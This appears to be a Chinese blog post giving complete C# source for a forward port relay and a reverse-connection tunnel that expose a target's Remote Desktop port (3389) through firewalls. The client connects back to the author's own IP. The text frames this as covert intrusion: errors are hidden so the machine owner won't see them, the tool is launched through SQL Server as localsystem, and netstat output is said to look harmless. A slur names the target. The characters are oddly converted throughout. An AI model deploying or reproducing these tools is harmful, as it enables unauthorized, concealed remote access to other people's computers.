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C#做端口轉(zhuǎn)發(fā)程序支持正向連接和反向鏈接

admin
2021年2月2日 18:48 本文熱度 4678

3389的時(shí)候

例子1:連接a機(jī)器的3389端口連不上,因?yàn)閷Ψ椒阑饓蛘呔W(wǎng)關(guān)做了限制,只能訪問a機(jī)器的個(gè)別端口比如80。

例子2:連接a機(jī)器的幾乎所有端口都連不上(對方乃內(nèi)網(wǎng)或者防火墻網(wǎng)關(guān)做了限制),只能1433上去,但是對方可以連接你的某些端口。

 

解決

第一種較簡單,只需要程序在對方開80,你連接他80,程序收到數(shù)據(jù)后,發(fā)送到他本機(jī)的3389,同時(shí)從他3389收到數(shù)據(jù)后返回到你。程序就是一個(gè)中轉(zhuǎn)站。

 

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  1. using System;  
  2. using System.Net.Sockets;  
  3. using System.Threading;  
  4.   
  5. namespace PortTransponder  
  6. {  
  7.     class Program  
  8.     {  
  9.         static void Main(string[] args)  
  10.         {  
  11.             TcpListener tl = new TcpListener(80);//這里開對方可以被你連接并且未被占用的端口  
  12.             tl.Start();  
  13.             while (true)//這里必須用循環(huán),可以接收不止一個(gè)客戶,因?yàn)槲野l(fā)現(xiàn)終端服務(wù)有時(shí)一個(gè)端口不行就換一個(gè)端口重連  
  14.             {  
  15.                 //下面的意思就是一旦程序收到你發(fā)送的數(shù)據(jù)包后立刻開2個(gè)線程做中轉(zhuǎn)  
  16.                 try  
  17.                 {  
  18.                     TcpClient tc1 = tl.AcceptTcpClient();//這里是等待數(shù)據(jù)再執(zhí)行下邊,不會(huì)100%占用cpu  
  19.                     TcpClient tc2 = new TcpClient("localhost", 3389);  
  20.                     tc1.SendTimeout = 300000;//設(shè)定超時(shí),否則端口將一直被占用,即使失去連接  
  21.                     tc1.ReceiveTimeout = 300000;  
  22.                     tc2.SendTimeout = 300000;  
  23.                     tc2.ReceiveTimeout = 300000;  
  24.                     object obj1 = (object)(new TcpClient[] { tc1, tc2 });  
  25.                     object obj2 = (object)(new TcpClient[] { tc2, tc1 });  
  26.                     ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);  
  27.                     ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);  
  28.                 }  
  29.                 catch { }  
  30.             }  
  31.         }  
  32.         public static void transfer(object obj)  
  33.         {  
  34.             TcpClient tc1 = ((TcpClient[])obj)[0];  
  35.             TcpClient tc2 = ((TcpClient[])obj)[1];  
  36.             NetworkStream ns1 = tc1.GetStream();  
  37.             NetworkStream ns2 = tc2.GetStream();  
  38.             while (true)  
  39.             {  
  40.                 try  
  41.                 {  
  42.                     //這里必須try catch,否則連接一旦中斷程序就崩潰了,要是彈出錯(cuò)誤提示讓機(jī)主看見那就囧了  
  43.                     byte[] bt = new byte[10240];  
  44.                     int count = ns1.Read(bt, 0, bt.Length);  
  45.                     ns2.Write(bt, 0, count);  
  46.                 }  
  47.                 catch  
  48.                 {  
  49.                     ns1.Dispose();  
  50.                     ns2.Dispose();  
  51.                     tc1.Close();  
  52.                     tc2.Close();  
  53.                     break;  
  54.                 }  
  55.             }  
  56.         }  
  57.     }  
  58. }  

這樣在對方機(jī)器執(zhí)行和,直接mstsc /v:對方ip:80就能終端上去了。


第二種稍微復(fù)雜一點(diǎn),需要客戶機(jī)和服務(wù)器2個(gè)程序,你在自己機(jī)器上開服務(wù)器端,在對方機(jī)器上執(zhí)行客戶端連接你的服務(wù)器端,一旦連接上你的服務(wù)器端再開個(gè)端口讓終端程序連接,對方機(jī)器上客戶端再開個(gè)端口連接他自己的3389,做2次中轉(zhuǎn)就可以終端上去了。

具體流程:

本機(jī)ip開8080端口,對方機(jī)器連接你的8080端口,比如端口是49908。連接成功后,你的機(jī)器再開一個(gè)比如9833端口,對方機(jī)器再開一個(gè)連接連接他自己的3389,比如端口是49909吧。好,這時(shí)你用你的mstsc連接自己的 localhost:9833,數(shù)據(jù)包就從本機(jī)9833-本機(jī)8080-對方49908-對方49909-對方3389,對方3389的數(shù)據(jù)反著回來就行了。

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  1. //服務(wù)器端  
  2. using System;  
  3. using System.Collections.Generic;  
  4. using System.Net.Sockets;  
  5. using System.Threading;  
  6.   
  7. namespace fanxiangserver  
  8. {  
  9.     class Program  
  10.     {  
  11.         public static Dictionary<int, TcpClient> dic = new Dictionary<int, TcpClient>();  
  12.         public static NetworkStream kongzhins = null;  
  13.         static void Main(string[] args)  
  14.         {  
  15.             ThreadPool.QueueUserWorkItem(new WaitCallback(start1));  
  16.             ThreadPool.QueueUserWorkItem(new WaitCallback(start2));  
  17.             WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });  
  18.         }  
  19.         public static void start1(object obj)  
  20.         {  
  21.             TcpListener tl = new TcpListener(8080);//開一個(gè)對方可以連接的端口,今天這棒子機(jī)器連他只能1433,其他連不上,他連別人只能80 8080 21     
  22.             tl.Start();  
  23.             while (true)  
  24.             {  
  25.                 TcpClient tc = tl.AcceptTcpClient();  
  26.                 jieshou(tc);  
  27.             }  
  28.         }  
  29.         public static void start2(object obj)  
  30.         {  
  31.             TcpListener tl = new TcpListener(9833); //開一個(gè)隨意端口讓自己的mstsc連。     
  32.             tl.Start();  
  33.             while (true)  
  34.             {  
  35.                 TcpClient tc = tl.AcceptTcpClient();  
  36.                 Random rnd = new Random();  
  37.                 int biaoji = rnd.Next(1000000000, 2000000000);  
  38.                 dic.Add(biaoji, tc);  
  39.                 byte[] bt = BitConverter.GetBytes(biaoji);  
  40.                 kongzhins.Write(bt, 0, bt.Length);  
  41.             }  
  42.         }  
  43.         public static void jieshou(TcpClient tc)  
  44.         {  
  45.             //這里體現(xiàn)的是一個(gè)配對的問題,自己體會(huì)一下吧  
  46.             NetworkStream ns = tc.GetStream();  
  47.             byte[] bt = new byte[4];  
  48.             int count = ns.Read(bt, 0, bt.Length);  
  49.             if (count == 2 && bt[0] == 0x6f && bt[1] == 0x6b)  
  50.             {  
  51.                 kongzhins = ns;  
  52.             }  
  53.             else  
  54.             {  
  55.                 int biaoji = BitConverter.ToInt32(bt, 0);  
  56.                 lianjie(biaoji, tc);  
  57.             }  
  58.         }  
  59.         public static void lianjie(int biaoji, TcpClient tc1)  
  60.         {  
  61.             TcpClient tc2 = null;  
  62.             if (dic.ContainsKey(biaoji))  
  63.             {  
  64.                 dic.TryGetValue(biaoji, out tc2);  
  65.                 dic.Remove(biaoji);  
  66.                 tc1.SendTimeout = 300000;  
  67.                 tc1.ReceiveTimeout = 300000;  
  68.                 tc2.SendTimeout = 300000;  
  69.                 tc2.ReceiveTimeout = 300000;  
  70.                 object obj1 = (object)(new TcpClient[] { tc1, tc2 });  
  71.                 object obj2 = (object)(new TcpClient[] { tc2, tc1 });  
  72.                 ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);  
  73.                 ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);  
  74.             }  
  75.         }  
  76.         public static void transfer(object obj)  
  77.         {  
  78.             TcpClient tc1 = ((TcpClient[])obj)[0];  
  79.             TcpClient tc2 = ((TcpClient[])obj)[1];  
  80.             NetworkStream ns1 = tc1.GetStream();  
  81.             NetworkStream ns2 = tc2.GetStream();  
  82.             while (true)  
  83.             {  
  84.                 try  
  85.                 {  
  86.                     //這里必須try catch,否則連接一旦中斷程序就崩潰了,要是彈出錯(cuò)誤提示讓機(jī)主看見那就囧了  
  87.                     byte[] bt = new byte[10240];  
  88.                     int count = ns1.Read(bt, 0, bt.Length);  
  89.                     ns2.Write(bt, 0, count);  
  90.                 }  
  91.                 catch  
  92.                 {  
  93.                     ns1.Dispose();  
  94.                     ns2.Dispose();  
  95.                     tc1.Close();  
  96.                     tc2.Close();  
  97.                     break;  
  98.                 }  
  99.             }  
  100.         }  
  101.     }  
  102. }  

[c-sharp]  view plain copy
  1. //客戶端  
  2. using System;  
  3. using System.Text;  
  4. using System.Net.Sockets;  
  5. using System.Threading;  
  6.   
  7. namespace fanxiangclient  
  8. {  
  9.     class Program  
  10.     {  
  11.         public static NetworkStream kongzhins = null;  
  12.         static void Main(string[] args)  
  13.         {  
  14.             try  
  15.             {  
  16.                 TcpClient tc = new TcpClient("你的IP", 8080);  
  17.                 kongzhins = tc.GetStream();  
  18.                 byte[] bt = Encoding.Default.GetBytes("ok");//這里發(fā)送一個(gè)連接提示  
  19.                 kongzhins.Write(bt, 0, bt.Length);  
  20.                 jieshou();  
  21.                 WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });//這里為什么要這樣呢?我發(fā)現(xiàn)sqlserver執(zhí)行是localsystem賬號如果console.read()程序馬上退出  
  22.             }  
  23.             catch { }  
  24.         }  
  25.         public static void jieshou()  
  26.         {  
  27.             while (true)  
  28.             {  
  29.                 byte[] bt = new byte[4];  
  30.                 kongzhins.Read(bt, 0, bt.Length);  
  31.                 TcpClient tc1 = new TcpClient("你的IP", 8080);  
  32.                 TcpClient tc2 = new TcpClient("localhost", 3389);  
  33.                 tc1.SendTimeout = 300000;  
  34.                 tc1.ReceiveTimeout = 300000;  
  35.                 tc2.SendTimeout = 300000;  
  36.                 tc2.ReceiveTimeout = 300000;  
  37.                 tc1.GetStream().Write(bt, 0, bt.Length);  
  38.                 object obj1 = (object)(new TcpClient[] { tc1, tc2 });  
  39.                 object obj2 = (object)(new TcpClient[] { tc2, tc1 });  
  40.                 ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);  
  41.                 ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);  
  42.             }  
  43.         }  
  44.         public static void transfer(object obj)  
  45.         {  
  46.             TcpClient tc1 = ((TcpClient[])obj)[0];  
  47.             TcpClient tc2 = ((TcpClient[])obj)[1];  
  48.             NetworkStream ns1 = tc1.GetStream();  
  49.             NetworkStream ns2 = tc2.GetStream();  
  50.             while (true)  
  51.             {  
  52.                 try  
  53.                 {  
  54.                     byte[] bt = new byte[10240];  
  55.                     int count = ns1.Read(bt, 0, bt.Length);  
  56.                     ns2.Write(bt, 0, count);  
  57.                 }  
  58.                 catch  
  59.                 {  
  60.                     ns1.Dispose();  
  61.                     ns2.Dispose();  
  62.                     tc1.Close();  
  63.                     tc2.Close();  
  64.                     break;  
  65.                 }  
  66.             }  
  67.         }  
  68.     }  
  69. }  

好,這樣你連接mstsc /v:localhost:9833,后數(shù)據(jù)就經(jīng)過了好幾轉(zhuǎn)轉(zhuǎn)到了對方的3389上。這樣即使對方是內(nèi)網(wǎng)也可以被終端了,而且好處是對方查看netstat -an看到的是這種東西。

以上程序都是經(jīng)我測試后非常ok的,但是沒有經(jīng)過優(yōu)化,尤其是反向連接的,可以做成個(gè)服務(wù)是吧,或者連接的時(shí)候加個(gè)驗(yàn)證啦什么的,還有我的Ip地址也是變的,可以做成個(gè)服務(wù),定時(shí)讀取某一網(wǎng)頁上我的新ip,告訴他連還是不連啦,什么的。而且還可以做成個(gè)http代理翻wall啦,總之花樣是很多的。

看到好多人說cpu占用率高什么的,我補(bǔ)充一句,我給出代碼的目的是告訴大家端口轉(zhuǎn)發(fā)的方法和思路,并不是讓你直接粘過去用,如果那樣的話我直接編譯成exe不就完了嗎,授人以魚不如授人以漁對吧,所以大家看明白了怎么回事自己去改和優(yōu)化,像緩沖區(qū)大小是否合適啦,超時(shí)啦,連接判斷啦什么的,這些都是要自己去優(yōu)化的,所以代碼很短嘛,就是為了讓大家看的簡單明了,所以直接用的話效率不會(huì)很高,但這是個(gè)完整骨架,我自己用的就在這段骨架的基礎(chǔ)上優(yōu)化并增加了很多功能,而且cpu占用率內(nèi)存占用都是沒有問題的。


該文章在 2021/2/2 18:48:55 編輯過

全部評論1

admin
2021年2月4日 11:47
源碼附件:PortTransfer.rar

注意服務(wù)器端防火墻一定要開放相應(yīng)端口,確保外部電腦能夠連接到此端口。
以上代碼只是說明了原理可能,在實(shí)際使用中,不應(yīng)該將上述功能弄成主線程,否則整個(gè)程序都處于掛起狀態(tài),無法進(jìn)行其他操作或中斷運(yùn)行,應(yīng)該放在子線程中執(zhí)行。

該評論在 2021/2/4 11:48:46 編輯過
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